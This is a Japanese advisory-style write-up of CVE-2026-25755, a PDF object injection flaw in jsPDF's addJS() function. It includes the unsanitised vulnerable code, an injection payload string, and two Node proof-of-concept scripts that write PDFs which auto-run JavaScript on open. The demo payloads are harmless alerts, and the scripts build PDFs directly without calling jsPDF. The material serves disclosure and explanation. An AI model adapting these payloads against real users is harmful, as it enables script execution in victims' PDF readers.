
CVE-2026-25755 jsPDFにおける重大なPDFオブジェクトインジェクションの脆弱性により、攻撃者はaddJS()関数を通じて任意のPDFオブジェクトを注入でき、PDFを開いた際にAcroJSサンドボックスバイパスと自動スクリプト実行が可能になります。
jsPDF(クライアントサイドアプリケーションでPDF文書を生成するために広く使用されているJavaScriptライブラリ)において、重大なPDFオブジェクトインジェクションの脆弱性(CVE-2026-25755)が発見されました。この脆弱性はaddJS()関数に存在し、不適切な入力サニタイズにより、攻撃者が任意のPDFオブジェクトを注入し、AcroJSサンドボックスの制限をバイパスすることが可能になります。
jsPDFのaddJS()関数は、開発者が生成されたPDFファイル内にJavaScriptコードを埋め込むことを可能にします。しかし、バージョン4.2.0より前では、この関数は特殊なPDF構文文字を含むユーザー入力を適切にサニタイズできていませんでした。
function addJS(javascript) {
this.internal.write("/JS (" + javascript + ")");
}
この関数は、エスケープ処理を行わずにユーザー入力をPDFオブジェクトストリームに直接連結します:
()\これにより、攻撃者はJavaScript文字列コンテキストを早期に閉じ、任意のPDFオブジェクトを注入することが可能になります。
/JS (app.alert('Hello World'))
const payload = ") >> /AA << /Open << /S /JavaScript /JS (app.alert('absholi7ly!')) >> >> /Dummy (";
/JS () >> /AA << /Open << /S /JavaScript /JS (app.alert('Hacked!')) >> >> /Dummy ())
↑
インジェクションポイント - 文字列コンテキストがエスケープされる
| ステップ | 動作 | 結果 |
|---|---|---|
| 1 | ) が元の /JS 文字列を閉じる | 文字列コンテキストが終了 |
| 2 | >> が現在のPDFオブジェクトを閉じる | オブジェクト構造が破壊される |
| 3 | /AA << /Open << ... | 新しいアクション辞書が注入される |
| 4 | 任意のPDFオブジェクトが追加される | 完全なオブジェクトインジェクションが達成される |
exploit.jsという名前のファイルを作成し、以下を記述してください
import fs from 'fs';
const pdf = `%PDF-1.4
1 0 obj
<</Type/Catalog/OpenAction 2 0 R/Pages 3 0 R>>
endobj
2 0 obj
<</Type/Action/S/JavaScript/JS(
app.launchURL\\('https://google.com',true\\);
)>>
endobj
3 0 obj
<</Type/Pages/Kids[4 0 R]/Count 1>>
endobj
4 0 obj
<</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>
endobj
xref
0 5
0000000000 65535 f
0000000015 00000 n
0000000092 00000 n
0000000275 00000 n
0000000352 00000 n
trailer
<</Size 5/Root 1 0 R>>
startxref
431
%%EOF`;
fs.writeFileSync('exploit.pdf', pdf);
import fs from 'fs';
const pdf = `%PDF-1.4
1 0 obj
<</Type/Catalog/OpenAction 2 0 R/Pages 3 0 R>>
endobj
2 0 obj
<</Type/Action/S/JavaScript/JS(app.alert\\('absholi7ly',3\\))>>
endobj
3 0 obj
<</Type/Pages/Kids[4 0 R]/Count 1>>
endobj
4 0 obj
<</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>
endobj
xref
0 5
0000000000 65535 f
0000000015 00000 n
0000000089 00000 n
0000000172 00000 n
0000000249 00000 n
trailer
<</Size 5/Root 1 0 R>>
startxref
328
%%EOF`;
fs.writeFileSync('exploit.pdf', pdf);
node exploit.js を実行してください